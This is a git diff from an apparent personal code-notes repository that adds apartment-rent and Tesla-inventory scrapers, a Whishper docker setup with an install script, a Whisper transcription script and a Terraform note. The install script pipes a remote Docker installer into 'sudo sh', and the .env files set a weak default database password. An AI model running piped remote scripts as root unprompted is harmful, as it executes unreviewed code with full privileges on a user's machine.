arrowprops=dict(arrowstyle="->", color="blue"), + ) + ax.plot(min_date, min_rent, marker="o", markersize=3, color="green") + + # set axis labels and legend + plt.xlabel("Date") + plt.ylabel("Rent ($)") + + # plt.legend() + ax.legend(title=f"{apt}-Floor_plan", bbox_to_anchor=[0.5, 0.5], loc="center right") + + # # show the plot + # plt.show() + + # Save the plot as a PNG file + plt.savefig(f"{DIR_PATH}APT-{apt}.png", dpi=300) + LOGGER.info(f"output png path: {DIR_PATH}APT-{apt}.png") + + # Clear the plot for the next CSV file + ax.clear() + LOGGER.info("======= update apt png for APT %s =======" % apt) + + +def main(dir_path): + csv_files = read_csv(dir_path) + apt_dict = floor_plan_list(csv_files) + for apt, floor_plans in apt_dict.items(): + LOGGER.info("🍰 ======= draw apt png for APT %s =======" % apt) + draw_png(csv_files, apt, floor_plans) + + +if __name__ == "__main__": + # DIR_PATH = './apt_output/' + DIR_PATH = "./_posts/00CodeNote/project/webscrap_apt/" + LOGGER.info("🍰 The DIR_PATH has been set to: %s", DIR_PATH) + main(DIR_PATH) diff --git a/_posts/00CodeNote/project/webscrap_apt/play.py b/_posts/00CodeNote/project/webscrap_apt/play.py new file mode 100755 index 00000000000..58de070c60a --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/play.py @@ -0,0 +1,389 @@ +import argparse +import csv +import logging +import os +import sys +from datetime import date, datetime +from html.parser import HTMLParser +from re import sub +from sys import stderr +from traceback import print_exc + +import requests + +LOG_LEVEL = os.environ.get("LOG_LEVEL", "INFO") +logging.basicConfig( + stream=sys.stdout, + level=LOG_LEVEL, + format="%(lineno)d:%(levelname)s:%(name)s:%(message)s",) +LOGGER = logging.getLogger(__name__) + +# APT Object +class _DeHTMLParser_General(HTMLParser): + def __init__(self): + HTMLParser.__init__(self) + self.__text = [] + self._results = [] + + self.apt_list = [] + self.em_line = ["\n", ""] + + def print_reslut(self): + print(self._results) + + # 当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解) + def handle_starttag(self, tag, attrs): + keep_line = [ + "special-details", + ] + + avoid_attrs = [ + "small-abbr", + ] + + target_attrs_div = [ + "fp-col-title", # for Beds / Baths + "fp-col-text", # for Beds / Baths info + ] + target_attrs_a = [ + # "small-text", + "primary-action", + "secondary-action", + ] + + if tag == "h3": + for attrs_name, attrs_value in attrs: + if ( + attrs_name == "class" + and attrs_value == "fp-group-header accordion-trigger" + ): + # for title + self.__text.append("\n") + + if tag == "h4": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value == "fp-name": + # for floor plan + self.__text.append("\n🟢:") + # self._results.append('\n\n\nMyavailableTarget: ') + + if tag == "h6": + self.__text.append(";") + + if tag == "span": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value in target_attrs_div: + # and attrs_value not in avoid_attrs: + # for Beds / Baths + # for Beds / Baths info + self.__text.append(";") + + if tag == "div": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value in target_attrs_div: + self.__text.append(";") + if attrs_name == "class" and attrs_value == "page-description": + self.__text.append("\n") + + if tag == "a": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value in target_attrs_a: + self.__text.append(";") + + if tag == "p": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value not in keep_line: + self.__text.append("\n") + + def get_text(self): + return "".join(self.__text).strip() + + def handle_startendtag(self, tag, attrs): + if tag == "br": + self.__text.append("\n\n") + + def handle_data(self, data): + text = data.strip() + if len(text) > 0: + text = sub("[ \t\r\n]+", " ", text) + self.__text.append(text + " ") + + +class _DeHTMLParser_General_Talisman(HTMLParser): + def __init__(self): + HTMLParser.__init__(self) + self.__text = [] + self._results = [] + self.apt_list = [] + self.em_line = ["\n", ""] + + def handle_starttag(self, tag, attrs): + # for floorplan + if tag == "h2": + for attrs_name, attrs_value in attrs: + if ( + attrs_name == "class" + and attrs_value + == "floorplan-listing-b__title color__secondary--text" + ): + self.__text.append("\n🟢:") + # for Beds / Baths info + if tag == "p": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value == "floorplan-listing-b__info": + self.__text.append(";") + # for rent + if tag == "div": + for attrs_name, attrs_value in attrs: + if ( + attrs_name == "class" + and attrs_value == "floorplan-listing-b__info-row" + ): + self.__text.append(";") + + if tag == "div": + for attrs_name, attrs_value in attrs: + if attrs_name == "class" and attrs_value == "page__disclaimer": + self.__text.append("\n") + + def get_text(self): + return "".join(self.__text).strip() + + def handle_startendtag(self, tag, attrs): + if tag == "br": + self.__text.append("\n\n") + + def handle_data(self, data): + text = data.strip() + if len(text) > 0: + text = sub("[ \t\r\n]+", " ", text) + self.__text.append(text + " ") + + def print_reslut(self): + print(self._results) + + +OUTPUTDIR = "./_posts/00CodeNote/project/webscrap_apt/apt_output" + +URL_DIC = { + # "talisman": "https://www.livetalisman.com/redmond/talisman/conventional/", + "talisman": "https://livetalisman.com/floorplans/", + # "modera": "https://everlightapartments.com/floorplans/", + # "modera": "https://www.moderaredmond.com/redmond/modera-redmond/conventional/", + # "modera": "https://www.moderasouthlakeunion.com/seattle/modera-south-lake-union/conventional/", +} +CLASS_DIC = { + "talisman": _DeHTMLParser_General_Talisman(), + "modera": _DeHTMLParser_General(), +} + + +def get_html(url): + """ + get plan html + """ + # text = r""" + # + # + # Project: DeHTML
    + # Description:
    + # Cannot get correct content from the URL. + # + # + # """ + header = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36", + "Accept-Language": "en-US,en;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", + "Connection": "keep-alive", + } + + try: + r = requests.get(url) + r.raise_for_status() + LOGGER.info("Loaded info from %s", url) + LOGGER.info("Loaded info from %s", r.text) + return r.text + except requests.RequestException as e: + LOGGER.info("Loaded info from %s", r.text) + LOGGER.error("Error: cannot get info from %s", url) + LOGGER.error(str(e)) + return "" + + +def dehtml(target_apt, text): + """ + switch html into plan text + """ + try: + parser = CLASS_DIC[target_apt] + parser.feed(text) + parser.close() + # parser.print_reslut() + return parser.get_text() + except Exception: + LOGGER.error("Error parsing HTML for %s", target_apt) + print_exc(file=stderr) + return text + + +def output_content(text): + """ + set marker in text + """ + lines = text.split("\n") + output = [] + for line in lines: + if "🟢:" in line: + line = ( + line.replace(" ;", ";") + .replace(". ", ".") + .replace(" / ", "/") + .replace(" +", "+") + ) + # LOGGER.info(line) + output.append(line) + return output + + +def create_dic(apt, lines, output_list): + """ + [ + '🟢:Urban with Kitchen Bar', + '1 bd / 1 ba', + '$1,921/month', + '$300', + '605', + 'Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates', + '4 Available Details ' + ] + create dic from above info + """ + inputdate = date.today().strftime("%Y%m%d") + for line in lines: + if "🟢:" in line: + line = line.replace("🟢:", "") + info_list = line.split(";") + # LOGGER.info(info_list) + + dic = { + "Date": inputdate, + "Apt": apt, + "Floor_plan": info_list[0], + } + + # for talisman + if apt == "talisman": + dic["Beds/Baths"] = info_list[1][: (info_list[1].index("Bath") + 4)] + + dic["Rent"] = info_list[2].replace(" ", "") + if dic["Rent"] != "ContactUs": + dic["Rent"] = dic["Rent"].split("-")[0] + + dic["Deposit"] = "$300" + dic["Sq.Ft"] = info_list[1].split("Bath ")[1] + dic["Limited_Time_Offer"] = "None" + dic["Available"] = "N/A" + + # for modera + if apt == "modera": + if "Beds/Baths" in line: + dic["Beds/Baths"] = info_list[2] + if "Rent" in line: + dic["Rent"] = info_list[4] + if "Deposit" in line: + dic["Deposit"] = info_list[6] + if "Sq.Ft" in line: + dic["Sq.Ft"] = info_list[8] + if "Limited Time Offer" in line: + dic["Limited_Time_Offer"] = info_list[9] + dic["Available"] = info_list[10] + else: + dic["Limited_Time_Offer"] = "/" + dic["Available"] = info_list[9] + output_list.append(dic) + # for i in output_list: + # print(i) + return output_list + + +def create_csv(all_dic_list): + """ + Create the csv snapshot from APTSCRAPPER + :param dic: info from the date + :return: a csv contains the snapshot of the info from each web + """ + # to set the target_date in the csv filename + target_date = date.today().strftime("%Y/%m/%d") # "2022/06/01" + filedate = target_date.replace("/", "") + file_name = f"apt_{filedate}.csv" + LOGGER.info("\n======= creating file: %s =======" % file_name) + + header = [ + "Date", + "Apt", + "Floor_plan", + "Beds/Baths", + "Rent", + "Deposit", + "Sq.Ft", + "Limited_Time_Offer", + "Available", + ] + with open(f"{OUTPUTDIR}/{file_name}", "w") as f: + LOGGER.info("======= filing file: %s =======" % file_name) + # create the csv writer + writer = csv.writer(f) + writer.writerow(header) + for input_dic in all_dic_list: + LOGGER.info(input_dic) + # print(type(input_dic)) + # for info in input_dic.values(): + writer.writerow(input_dic.values()) + LOGGER.info("======= info loaded in the file %s =======\n" % file_name) + + +def run(apt, all_dic_list): + if apt in URL_DIC.keys(): + html_text = get_html(URL_DIC[apt]) + # print(html_text) + text = dehtml(apt, html_text) + lines = output_content(text) + LOGGER.info("======= Got info for Apartment: %s =======", apt) + all_dic_list = create_dic(apt, lines, all_dic_list) + # print(all_dic_list) + LOGGER.info("======= Got Dic for Apartment: %s =======\n", apt) + return all_dic_list + else: + LOGGER.info("======= Error: invalid target: %s =======", apt) + return [] + + +def main(apt): + all_dic_list = [] + for apt in URL_DIC.keys(): + LOGGER.info("======= Target Apartment: %s =======", apt) + all_dic_list = run(apt, all_dic_list) + create_csv(all_dic_list) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Web scraper for apartment data.") + parser.add_argument( + "-t", + "--target", + required=True, + help="Target website to scrape (all or specific site).", + ) + args = parser.parse_args() + target = args.target.lower() + timestamp = datetime.now().strftime("%c") + LOGGER.info("======= Apt_scrapper loaded at %s" % timestamp) + + if target == "all": + target_Apts = URL_DIC + LOGGER.info("=== Apt_scrapper run for url: %s ===\n" % target_Apts) + main(target_Apts) + else: + LOGGER.info("Invalid --target\n") diff --git a/_posts/00CodeNote/project/webscrap_apt/requirements.txt b/_posts/00CodeNote/project/webscrap_apt/requirements.txt new file mode 100644 index 00000000000..2381ab8c796 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/requirements.txt @@ -0,0 +1,5 @@ +matplotlib==3.7.1 +nltk==3.9 +pandas==1.5.1 +requests==2.32.4 +selenium==4.8.3 diff --git a/_posts/00CodeNote/project/webscrap_tesla/.DS_Store b/_posts/00CodeNote/project/webscrap_tesla/.DS_Store new file mode 100644 index 00000000000..84a522af710 Binary files /dev/null and b/_posts/00CodeNote/project/webscrap_tesla/.DS_Store differ diff --git a/_posts/00CodeNote/project/webscrap_tesla/README.md b/_posts/00CodeNote/project/webscrap_tesla/README.md new file mode 100644 index 00000000000..b9118a5d07e --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_tesla/README.md @@ -0,0 +1,26 @@ + +- [webscrap\_tesla](#webscrap_tesla) + - [Usage](#usage) + - [run](#run) + +--- + +# webscrap_tesla + +--- + +## Usage +- Run `python ./_posts/00CodeNote/project/webscrap_tesla/run.py` +- generate txt in `./output` + +### run + +Run for all apt and get csv. + +```bash +crontab -e +0,30 * * * * python /Users/graceluo/Documents/GitHub-study/ocholuo.github.io/_posts/00CodeNote/project/webscrap_tesla/run.py + +python ./_posts/00CodeNote/project/webscrap_tesla/settings.py shell +python ./_posts/00CodeNote/project/webscrap_tesla/run.py +``` diff --git a/_posts/00CodeNote/project/webscrap_tesla/__pycache__/email.cpython-38.pyc b/_posts/00CodeNote/project/webscrap_tesla/__pycache__/email.cpython-38.pyc new file mode 100644 index 00000000000..b00acc93011 Binary files /dev/null and b/_posts/00CodeNote/project/webscrap_tesla/__pycache__/email.cpython-38.pyc differ diff --git a/_posts/00CodeNote/project/webscrap_tesla/draft/notgood.py b/_posts/00CodeNote/project/webscrap_tesla/draft/notgood.py new file mode 100644 index 00000000000..af20ff443fd --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_tesla/draft/notgood.py @@ -0,0 +1,40 @@ +# import os + +# import requests + + +# def send_email(subject, body, recipient): +# SENDGRID_API_KEY = os.environ.get('SENDGRID_API_KEY') +# SENDER_EMAIL = os.environ.get('SENDER_EMAIL') + +# if not SENDGRID_API_KEY: +# raise ValueError("SendGrid API key is not provided.") +# if not SENDER_EMAIL: +# raise ValueError("Sender email is not provided.") + +# url = "https://api.sendgrid.com/v3/mail/send" +# headers = { +# "Authorization": f"Bearer {SENDGRID_API_KEY}", +# "Content-Type": "application/json" +# } +# payload = { +# "personalizations": [{"to": [{"email": recipient}]}], +# "from": {"email": SENDER_EMAIL}, +# "subject": subject, +# "content": [{"type": "text/plain", "value": body}] +# } + +# response = requests.post(url, headers=headers, json=payload) + +# if response.status_code == 202: +# print("Email sent successfully.") +# else: +# print("Failed to send email. Status code:", response.status_code) +# print("Response:", response.text) + +# # Example usage +# subject = "Test Email from GitHub Action" +# body = "This is a test email sent from a GitHub Action workflow." +# recipient = "recipient@example.com" + +# send_email(subject, body, recipient) diff --git a/_posts/00CodeNote/project/webscrap_tesla/draft/settings.py b/_posts/00CodeNote/project/webscrap_tesla/draft/settings.py new file mode 100644 index 00000000000..dff0021ce66 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_tesla/draft/settings.py @@ -0,0 +1,9 @@ +# EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' +# EMAIL_USE_TLS = True +# EMAIL_HOST = 'smtp.gmail.com' +# EMAIL_HOST_USER = 'xx@gmail.com' +# EMAIL_HOST_PASSWORD = 'xx*' +# EMAIL_PORT = 587 + +# #This did the trick +# DEFAULT_FROM_EMAIL = EMAIL_HOST_USER diff --git a/_posts/00CodeNote/project/webscrap_tesla/draft/yy.yml b/_posts/00CodeNote/project/webscrap_tesla/draft/yy.yml new file mode 100644 index 00000000000..f0a6ed369ce --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_tesla/draft/yy.yml @@ -0,0 +1,29 @@ +# name: Send Email + +# on: +# push: +# branches: +# - main # or specify the branch you want to trigger the workflow + +# jobs: +# send_email: +# runs-on: ubuntu-latest + +# steps: +# - name: Checkout code +# uses: actions/checkout@v2 + +# - name: Set up Python +# uses: actions/setup-python@v2 +# with: +# python-version: '3.x' + +# - name: Install dependencies +# run: | +# pip install requests + +# - name: Send Email +# run: python send_email.py +# env: +# SENDGRID_API_KEY: ${{ secrets.SENDGRID_API_KEY }} +# SENDER_EMAIL: your_sender_email@example.com diff --git a/_posts/00CodeNote/project/webscrap_tesla/requirements.txt b/_posts/00CodeNote/project/webscrap_tesla/requirements.txt new file mode 100644 index 00000000000..c7a666e2f10 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_tesla/requirements.txt @@ -0,0 +1,3 @@ +celery +django +selenium diff --git a/_posts/00CodeNote/project/webscrap_tesla/run.py b/_posts/00CodeNote/project/webscrap_tesla/run.py new file mode 100644 index 00000000000..f275dd7d9a3 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_tesla/run.py @@ -0,0 +1,113 @@ +import datetime +import logging +import os +import sys + +# from celery import shared_task +# from django.conf import settings +# from django.core.mail import send_mail +from selenium import webdriver +from selenium.webdriver.common.by import By +from selenium.webdriver.support import expected_conditions as EC +from selenium.webdriver.support.wait import WebDriverWait + +logging.basicConfig(stream=sys.stdout, level=logging.INFO) +LOGGER = logging.getLogger(__name__) +LOGGER.setLevel(level=os.environ.get("LOG_LEVEL", "INFO").upper()) + +TESLA_URL = ( + "https://www.tesla.com/inventory/new/my?TRIM=LRAWD&arrangeby=plh&zip=98011&range=0" +) +OUTPUTDIR = "/Users/graceluo/Documents/GitHub-study/ocholuo.github.io/_posts/00CodeNote/project/webscrap_tesla/output" + + +def create_text_file(content_list): + try: + current_datetime = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + file_name = f"{current_datetime}_tesla-list.txt" + with open(f"{OUTPUTDIR}/{file_name}", "w") as file: + for item in content_list: + file.write( + item + "\n" + ) # Write each item followed by a newline character + LOGGER.info( + f"File '{file_name}' created successfully with content: {content_list}" + ) + except Exception as e: + LOGGER.info(f"Error occurred: {str(e)}") + + +def watch_tesla(): + + LOGGER.info("======= watch_tesla =======") + + # test using Chrome Selenium + options = webdriver.ChromeOptions() + options.add_argument("--no-sandbox") + options.add_argument("--headless") + options.add_argument("--ignore-certificate-errors") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("--disable-extensions") + options.add_argument("--disable-gpu") + user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.50 Safari/537.36" + options.add_argument(f"user-agent={user_agent}") + + driver = webdriver.Chrome(options=options) + + driver.set_page_load_timeout(90) + + # Load the URL and get the page source + driver.get(TESLA_URL) + LOGGER.info("======= loaded TESLA_URL =======") + + car_prices = [] + output_prices = [] + + try: + LOGGER.info("======= Start the search =======") + + results_container = WebDriverWait(driver, 100).until( + EC.presence_of_element_located((By.CLASS_NAME, "results-container")) + ) + + print(results_container) + + car_sections = results_container.find_elements(By.CLASS_NAME, "result-header") + + # Now you can iterate over these article elements and perform any actions you desire. + + for car_section in car_sections: + + car_price_str = car_section.find_element( + By.CLASS_NAME, "result-purchase-price" + ).get_attribute("innerHTML") + car_price = int(car_price_str.replace("$", "").replace(",", "")) + car_prices.append(car_price) + + if car_price < 45000: + + email_content = f"There is a model Y for sale for {car_price_str}" + LOGGER.info("======= %s =======" % email_content) + + # settings.configure() + # send_mail( + # 'Model Y for sale gucci price', # Subject of the email + # f'There is a model Y for sale for {car_price_str}!', # Message body + # settings.EMAIL_HOST_USER, # From email address (sender) + # ['chriskuis@hotmail.com'], # List of recipient email addresses + # fail_silently=False, # Set to True to suppress exceptions if sending fails + # ) + + output_prices.append(email_content) + + create_text_file(output_prices) + + finally: + driver.quit() + + return car_prices + + +if __name__ == "__main__": + LOGGER.info("======= Start the watch =======") + watch_tesla() diff --git a/_posts/00CodeNote/project/whishper/.env b/_posts/00CodeNote/project/whishper/.env new file mode 100644 index 00000000000..3c960d411ba --- /dev/null +++ b/_posts/00CodeNote/project/whishper/.env @@ -0,0 +1,11 @@ +# Libretranslate Configuration +## Check out https://github.com/LibreTranslate/LibreTranslate#configuration-parameters for more libretranslate configuration options +LT_LOAD_ONLY=es,en,fr + +# Whisper Configuration +WHISPER_MODELS=tiny,small +WHISHPER_HOST=http://127.0.0.1:8082 + +# Database Configuration +DB_USER=whishper +DB_PASS=whishper diff --git a/_posts/00CodeNote/project/whishper/.env.backup b/_posts/00CodeNote/project/whishper/.env.backup new file mode 100644 index 00000000000..3c960d411ba --- /dev/null +++ b/_posts/00CodeNote/project/whishper/.env.backup @@ -0,0 +1,11 @@ +# Libretranslate Configuration +## Check out https://github.com/LibreTranslate/LibreTranslate#configuration-parameters for more libretranslate configuration options +LT_LOAD_ONLY=es,en,fr + +# Whisper Configuration +WHISPER_MODELS=tiny,small +WHISHPER_HOST=http://127.0.0.1:8082 + +# Database Configuration +DB_USER=whishper +DB_PASS=whishper diff --git a/_posts/00CodeNote/project/whishper/docker-compose.yml b/_posts/00CodeNote/project/whishper/docker-compose.yml new file mode 100644 index 00000000000..a08700861f2 --- /dev/null +++ b/_posts/00CodeNote/project/whishper/docker-compose.yml @@ -0,0 +1,70 @@ +version: "3.9" + +services: + mongo: + image: mongo + env_file: + - .env + restart: unless-stopped + volumes: + - ./whishper_data/db_data:/data/db + - ./whishper_data/db_data/logs/:/var/log/mongodb/ + environment: + MONGO_INITDB_ROOT_USERNAME: ${DB_USER:-whishper} + MONGO_INITDB_ROOT_PASSWORD: ${DB_PASS:-whishper} + expose: + - 27017 + command: ['--logpath', '/var/log/mongodb/mongod.log'] + + translate: + container_name: whisper-libretranslate + image: libretranslate/libretranslate:latest + restart: unless-stopped + volumes: + - ./whishper_data/libretranslate/data:/home/libretranslate/.local/share + - ./whishper_data/libretranslate/cache:/home/libretranslate/.local/cache + env_file: + - .env + tty: true + environment: + LT_DISABLE_WEB_UI: True + LT_UPDATE_MODELS: True + expose: + - 5000 + networks: + default: + aliases: + - translate + healthcheck: + test: ['CMD-SHELL', './venv/bin/python scripts/healthcheck.py'] + interval: 2s + timeout: 3s + retries: 5 + + whishper: + pull_policy: always + image: pluja/whishper:${WHISHPER_VERSION:-latest} + env_file: + - .env + volumes: + - ./whishper_data/uploads:/app/uploads + - ./whishper_data/logs:/var/log/whishper + container_name: whishper + restart: unless-stopped + networks: + default: + aliases: + - whishper + ports: + - 8082:80 + depends_on: + - mongo + - translate + environment: + PUBLIC_INTERNAL_API_HOST: "http://127.0.0.1:80" + PUBLIC_TRANSLATION_API_HOST: "" + PUBLIC_API_HOST: ${WHISHPER_HOST:-} + PUBLIC_WHISHPER_PROFILE: cpu + WHISPER_MODELS_DIR: /app/models + UPLOAD_DIR: /app/uploads + CPU_THREADS: 4 diff --git a/_posts/00CodeNote/project/whishper/get-whishper.sh b/_posts/00CodeNote/project/whishper/get-whishper.sh new file mode 100644 index 00000000000..83162e39baf --- /dev/null +++ b/_posts/00CodeNote/project/whishper/get-whishper.sh @@ -0,0 +1,117 @@ +#!/bin/bash +set -e + +# Color codes +RED='\033[0;31m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +# Check if docker is installed +if ! [ -x "$(command -v docker)" ]; then + echo -e "${RED}❌ Docker is not installed. Please install docker first.${NC}" + echo -e "> Run official docker installation script? (y/n)" + echo -e "---> Check out the script: https://get.docker.com" + echo -e "---> I will run: 'curl -fsSL https://get.docker.com | sudo sh'" + read answer + if [ "$answer" != "${answer#[Yy]}" ] ;then + echo -e "${BLUE}ℹ️ Running official docker installation script${NC}" + curl -fsSL https://get.docker.com | sudo sh + else + echo -e "${RED}❌ Aborting installation${NC}" + exit 1 + fi +fi + +# Ask if user wants to get everything in the current directory or in a new directory +echo -e "${BLUE}> Do you want to set up everything in the current directory? (y/n)${NC}" +read answer +if [ "$answer" != "${answer#[Yy]}" ] ;then + echo -e "ℹ️ Setting up everything in the current directory" +else + echo -e "${BLUE}> Enter the name of the directory where you want to set up everything:${NC}" + read directory + echo -e "ℹ️ Setting up everything in the $directory directory" + mkdir $directory + cd $directory +fi + +echo "" +echo -e "ℹ️ For more info about GPU support check out: https://whishper.net/guides/gpu/" +echo -e "${BLUE}> Do you want to use the GPU version? (y/n)${NC}" +read gpu +if [ "$gpu" != "${gpu#[Yy]}" ] ;then + gpu=true + if ! [ -x "$(command -v nvidia-container-toolkit)" ]; then + echo "" + echo -e "${YELLOW}⚠️ WARNING: nvidia-container-toolkit seems to not be installed. You must install it for whishper to work with GPU. Read more at: https://whishper.net/guides/gpu/${NC}" + echo -e "${BLUE}> Do you want to continue anyways? (y/n)" + read continue + if [ "$gpu" != "${gpu#[Yy]}" ] ;then + echo -e "ℹ️ Continuing..." + else + echo -e "${RED}❌ Aborting installation${NC}" + exit 1 + fi + fi +else + gpu=false +fi + +echo "" +echo -e "ℹ️ Getting the docker-compose.yml file from Github" +if [ "$gpu" = true ] ;then + curl -o docker-compose.yml https://raw.githubusercontent.com/pluja/whishper/main/docker-compose.gpu.yml > /dev/null 2>&1 +else + curl -o docker-compose.yml https://raw.githubusercontent.com/pluja/whishper/main/docker-compose.yml > /dev/null 2>&1 +fi +sleep 1 + +# check if .env exists +if [ -f .env ]; then + echo "" + echo -e "${YELLOW}⚠️ .env file already exists${NC}" + echo -e "${BLUE}> Do you want to overwrite it? (y/n)" + read answer + if [ "$answer" != "${answer#[Yy]}" ] ;then + echo -e "ℹ️ Copying env.example to .env" + cp .env .env.backup + curl -o .env https://raw.githubusercontent.com/pluja/whishper/main/example.env > /dev/null 2>&1 + sleep 1 + fi + echo "" +else + echo -e "ℹ️ Getting the default .env file from Github" + curl -o .env https://raw.githubusercontent.com/pluja/whishper/main/example.env > /dev/null 2>&1 + sleep 1 +fi + +# Create necessary directories for libretranslate +echo -e "ℹ️ Creating necessary directories for libretranslate" +sudo mkdir -p ./whishper_data/libretranslate/{data,cache} +sleep 1 + +# This permissions are for libretranslate docker container +echo -e "ℹ️ Setting permissions for libretranslate" +case "$OSTYPE" in + darwin*) echo -e "ℹ️ macOS detected... Leaving permissions untouched." ;; + linux*) sudo chown -R 1032:1032 ./whishper_data/libretranslate ;; + *) echo -e "${YELLOW}⚠️ unknown: $OSTYPE${NC}" ;; +esac +sleep 1 + +echo "" +echo -e "${BLUE}> Do you want to pull the docker images? (y/n)" +read answer +if [ "$answer" != "${answer#[Yy]}" ] ;then + echo -e "ℹ️ Pulling and building docker images" + sudo docker compose pull +fi + +echo "" +echo -e "${BLUE}> Do you want to start the containers now? (y/n)" +read answer +if [ "$answer" != "${answer#[Yy]}" ] ;then + echo -e "ℹ️ Starting whishper..." + sudo docker compose up -d +fi diff --git a/_posts/00CodeNote/project/whishper/readme.md b/_posts/00CodeNote/project/whishper/readme.md new file mode 100644 index 00000000000..6d5722067a3 --- /dev/null +++ b/_posts/00CodeNote/project/whishper/readme.md @@ -0,0 +1,16 @@ + +1. install +```bash +# Get the script +curl -fsSL -o get-whishper.sh https://raw.githubusercontent.com/pluja/whishper/main/get-whishper.sh +# Run it +bash get-whishper.sh +``` + +2. update permission (if needed) + +```bash +chown -R 1032:1032 whishper_data/libretranslate +``` + +3. access Whishper at http://localhost:8082. diff --git a/_posts/00CodeNote/project/whishper/run.py b/_posts/00CodeNote/project/whishper/run.py new file mode 100644 index 00000000000..4ec30f00717 --- /dev/null +++ b/_posts/00CodeNote/project/whishper/run.py @@ -0,0 +1,19 @@ +import whisper + +# Load the Whisper model +model = whisper.load_model("small") # use "medium" or "large" for higher accuracy + +# Path to your audio file +audio_path = "./provider/fast_run/inter.m4a" + +# Transcribe +result = model.transcribe(audio_path) + +# Extract only the dialogue text +text = result["text"].strip() + +# Save to file +with open("transcript_cleaned.txt", "w") as f: + f.write(text) + +print("✅ Transcription complete. Saved as transcript_cleaned.txt") diff --git a/_posts/00CodeNote/terraform/Ali/ali-cs.md b/_posts/00CodeNote/terraform/Ali/ali-cs.md new file mode 100644 index 00000000000..53e5c191d2f --- /dev/null +++ b/_posts/00CodeNote/terraform/Ali/ali-cs.md @@ -0,0 +1,173 @@ +--- +title: Terraform Example - ali-cs +# author: Grace JyL +date: 2021-10-12 11:11:11 -0400 +description: +excerpt_separator: +categories: [00CodeNote, Terraform] +tags: [Terraform] +# math: true +# pin: true +toc: true +# image: /assets/img/note/tls-ssl-handshake.png +--- + +# Terraform Example - ali-cs + +Example Usage +https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/cs_managed_kubernetes#example-usage + + +```t +# If there is not specifying vpc_id, the module will launch a new vpc +resource "alicloud_vpc" "vpc" { + count = var.vpc_id == "" ? 1 : 0 + cidr_block = var.vpc_cidr +} + +# According to the vswitch cidr blocks to launch several vswitches +resource "alicloud_vswitch" "vswitches" { + count = length(var.vswitch_ids) > 0 ? 0 : length(var.vswitch_cidrs) + vpc_id = var.vpc_id == "" ? join("", alicloud_vpc.vpc.*.id) : var.vpc_id + cidr_block = element(var.vswitch_cidrs, count.index) + zone_id = element(var.availability_zone, count.index) +} + + +# According to the vswitch cidr blocks to launch several vswitches +resource "alicloud_vswitch" "terway_vswitches" { + count = length(var.terway_vswitch_ids) > 0 ? 0 : length(var.terway_vswitch_cirds) + vpc_id = var.vpc_id == "" ? join("", alicloud_vpc.vpc.*.id) : var.vpc_id + cidr_block = element(var.terway_vswitch_cirds, count.index) + zone_id = element(var.availability_zone, count.index) +} + +resource "alicloud_cs_managed_kubernetes" "this" { + # ++++++++++++++ Global params ++++++++++++++ + name = "---Optional" + worker_vswitch_ids = "---Optional/['vsw-id1', 'vsw-id1', 'vsw-id2']" + name_prefix = "---Optional/Terraform-Creation" + timezone = "---Optional" + resource_group_id = "---Optional" + version = "---Optional" # version can not be defined in variables.tf. + # runtime = "Deprecated" + # runtdime = { + # name = "containerd" + # version = "1.5.13" + # } + # enable_ssh = "Deprecated/false/true" + # rds_instances = "Deprecated" + security_group_id = "---Optional" + is_enterprise_security_group = "---Optional/false/true" + proxy_mode = "---Optional/ipvs/iptables" + cluster_domain = "---Optional/cluster.local/other" + custom_san = "---Optional" + user_ca = "---Optional" + deletion_protection = "---Optional" + enable_rrsa = "---Optional/false/true" + install_cloud_monitor = "---Optional/true/false" + # exclude_autoscaler_nodes = "Deprecated/false/true" + service_account_issuer = "---Optional" + api_audiences = "---Optional" + tags = "---Optional/nil/{}" + # tags = { + # "key1" = "value1" + # "key2" = "value2" + # "name" = "tf" + # } + cluster_spec = "---Optional/ack.standard/ack.pro.small" + encryption_provider_key = "---Optional" + maintenance_window = "---Optional" + # maintenance_window { + # enable = true + # maintenance_time = "01:00:00Z" + # duration = "1-24h" + # weekly_period = "Monday,Friday" + # } + load_balancer_spec = "slb.s1.small/other" + control_plane_log_ttl = "---Optional/30/other" + control_plane_log_components = "---Optional/apiserver/kcm/scheduler[LIST]" + control_plane_log_project = "---Optional" + retain_resources = "---Optional" + addons = "---Optional" + # dynamic "addons" { + # for_each = var.cluster_addons + # content { + # name = lookup(addons.value, "name", var.cluster_addons) + # config = lookup(addons.value, "config", var.cluster_addons) + # disabled = lookup(addons.value, "disabled", var.cluster_addons) + # } + # } + + + #++++++++++++++ Network params ++++++++++++++ + pod_cidr = "---Optional" + pod_vswitch_ids = "---Optional" + new_nat_gateway = "---Optional/true/false" + service_cidr = "---Optional" + node_cidr_mask = "---Optional/24-28" + slb_internet_enabled = "---Optional/true/false" + + + + + # ++++++++++++++ Worker params ++++++++++++++ + # worker_number = "Deprecated/3-50" + # 